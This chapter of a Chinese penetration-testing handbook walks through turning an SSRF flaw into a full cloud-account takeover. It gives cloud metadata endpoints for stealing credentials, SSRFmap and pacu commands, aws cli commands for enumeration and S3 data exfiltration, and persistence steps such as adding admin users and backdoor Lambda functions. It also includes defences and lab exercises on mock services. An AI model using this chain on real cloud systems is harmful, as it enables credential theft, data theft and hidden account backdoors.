逆向工程实战手册 第 68 章

第 68 章 SSRF 到云凭证的完整利用链

SSRF(第 58.4)只是起点。现代云环境中,SSRF 的最高价值利用路径是:内网探测 → 云元数据 → 临时凭证 → 云资源接管。本章把这条链完整展开——从发现 SSRF 到拿下整个云账户。

📍 知识点地图 | 主题:SSRF云凭证 | 前置:第58/87章 | 后续:— | 核心概念:内网探测、元数据、STS凭证、pacu

68.1 完整利用链总览

发现 SSRF
  ↓
Step 1: 确认可控性(能请求任意 URL?)
  ↓
Step 2: 内网探测(云内网网段/服务)
  ↓
Step 3: 云元数据访问(169.254.169.254 等)
  ↓
Step 4: 获取临时凭证(IAM Role 的 STS 凭证)
  ↓
Step 5: 凭证验证与权限枚举(aws cli / 云 API)
  ↓
Step 6: 云资源接管(数据/计算/横向)
  ↓
Step 7: 持久化(创建后门/密钥/用户)

68.2 Step 1-2: 内网探测(从 SSRF 到"眼睛")

探测范围

云内网网段:
  AWS: 169.254.169.254(元数据)/ 10.0.0.0/8(VPC)
  GCP: metadata.google.internal / 10.128.0.0/9
  Azure: 169.254.169.254(元数据)/ 10.0.0.0/8
  Kubernetes: 10.96.0.0/12(Service)/ ClusterIP

探测目标:
  □ 内部管理接口(数据库/Redis/ES)
  □ 其他服务(微服务/内部 API)
  □ 云元数据(重点!)

探测方法

# 单个目标探测
http://169.254.169.254/latest/meta-data/

# 批量端口扫描(通过 SSRF)
# 工具: 自写脚本逐端口请求,观察响应差异
# 或 ssrfscan/SSRFmap 等自动化工具
python ssrfmap.py -r request.txt -p 80,443,8080,6379,3306

响应差异判断

□ 200 + 内容 → 服务存在
□ 403/404 → 存在但无权限/无路径
□ 连接超时 → 端口开放但无 HTTP
□ 立即拒绝 → 端口关闭

68.3 Step 3: 云元数据服务(核心目标)

三大云元数据端点

AWS(IMDSv1,最经典):
  http://169.254.169.254/latest/meta-data/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
  → 直接返回 AccessKeyId + SecretAccessKey + Token!

GCP:
  http://metadata.google.internal/computeMetadata/v1/
  (需要头: Metadata-Flavor: Google)
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
  → 返回 OAuth Token

Azure:
  http://169.254.169.254/metadata/instance?api-version=2021-02-01
  (需要头: Metadata: true)
  http://169.254.169.254/metadata/identity/oauth2/token?resource=...
  → 返回 Managed Identity Token

响应内容(AWS 示例)

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "....",
  "Token": "IQoJb3JpZ2luX2Vj...",
  "Expiration": "2026-01-01T00:00:00Z"
}

拿到这个 = 拿到该 EC2/容器绑定的 IAM 角色身份

68.4 Step 4-5: 凭证验证与权限枚举

# 配置临时凭证
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 1. 验证身份(Who am I)
aws sts get-caller-identity

# 2. 枚举权限(能干什么)
aws iam list-attached-user-policies --user-name <name>
aws iam list-user-policies --user-name <name>
aws iam list-attached-role-policies --role-name <role>
# 或用 pacu(AWS 渗透框架)自动枚举
pacu -n attack
pacu > run iam__enum_users_roles_policies

# 3. 常用权限探测
aws s3 ls                    # 存储桶
aws ec2 describe-instances   # 计算资源
aws secretsmanager list-secrets
aws ssm describe-parameters  # 参数(可能有密钥)
aws lambda list-functions

权限枚举后的选型(按凭证权限)

□ S3 权限 → 列出/读取存储桶(数据泄露)
□ EC2 权限 → 读取用户数据(可能含密钥)
□ SecretsManager → 拿密钥
□ IAM 管理权限 → 创建新用户/加权限(持久化)
□ Lambda → 创建恶意函数
□ 全权限 → 接管整个账户

68.5 Step 6: 云资源接管(高价值利用)

S3 数据泄露(最常见)

aws s3 ls
aws s3 ls s3://<bucket> --recursive
aws s3 cp s3://<bucket>/secret.txt ./
# 关键桶: 备份/数据库导出/日志/代码

EC2 用户数据(启动脚本含密钥)

aws ec2 describe-instances
aws ec2 describe-instance-attribute --instance-id <id> --attribute userData
# 启动脚本常含: 数据库密码/API key/初始化脚本

横向(云内移动)

□ 通过 EC2 获取更多元数据凭证(跳到别的实例角色)
□ SSRF 打内网其他服务(Redis/数据库)
□ 云凭证 → 内部 API → 业务数据
□ VPC 内网 → 其他服务

68.6 Step 7: 持久化(云侧后门)

□ IAM: 创建管理员用户/给现有用户加权限
□ S3: 修改策略开放桶
□ Lambda: 创建触发式后门函数
□ EC2: 修改安全组/创建新实例
□ 托管密钥: 备份/导出 KMS 密钥
□ 云账户关联: 添加外部身份(AWS Organizations)

68.7 防护视角(IMDSv2 等)

□ IMDSv2(AWS): 强制 token 会话(需 PUT 获取 token → 阻止简单 SSRF 读取)
  但: 部分配置可降级回 IMDSv1(攻击者仍可能)
□ 元数据防火墙: 网络层阻止
□ 最小 IAM 权限: 角色权限收敛
□ 网络隔离: SSRF 入口与元数据隔离
□ 监控: 元数据访问告警/凭证异常使用

68.8 完整测试检查清单

□ SSRF 发现与可控性确认
□ 内网探测(网段/端口/服务)
□ 元数据端点探测(AWS/GCP/Azure)
□ 凭证获取(IAM 角色/托管身份)
□ 身份验证(get-caller-identity)
□ 权限枚举(pacu/iam 枚举)
□ 高价值资源访问(S3/Secrets/用户数据)
□ 横向路径评估
□ 持久化评估(点到即止)
□ 报告: 完整利用链 + 每步证据

动手练习

  1. 在本地搭一个模拟元数据服务(返回假凭证),用一个模拟 SSRF 应用打完整条链。
  2. 用 pacu 对一个练习 AWS 环境(或 LocalStack)做权限枚举,理解"拿到凭证后第一步"。
  3. 读一份公开的"SSRF 到云接管"攻击报告(AWS 常见),画出它的七步利用链。
  4. 练习 IMDSv2 与 v1 的差异:构造能访问 v1 但不能访问 v2 的场景,理解防护原理。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-ssrf-metadata-pivot/(SSRF 元数据 CTF)
  • 仓库:CTF-Sandbox-Orchestrator/competition-cloud-metadata-path/(云元数据路径)
  • 仓库:CTF-Sandbox-Orchestrator/competition-agent-cloud/(Agent+云)
  • 仓库:skills/pentest-tools/references/web-attack-cheatsheet.md(SSRF 基础)
  • 实战案例:skills/field-journal/seed-006_ssrf-cloud-metadata.md(SSRF 云元数据实战)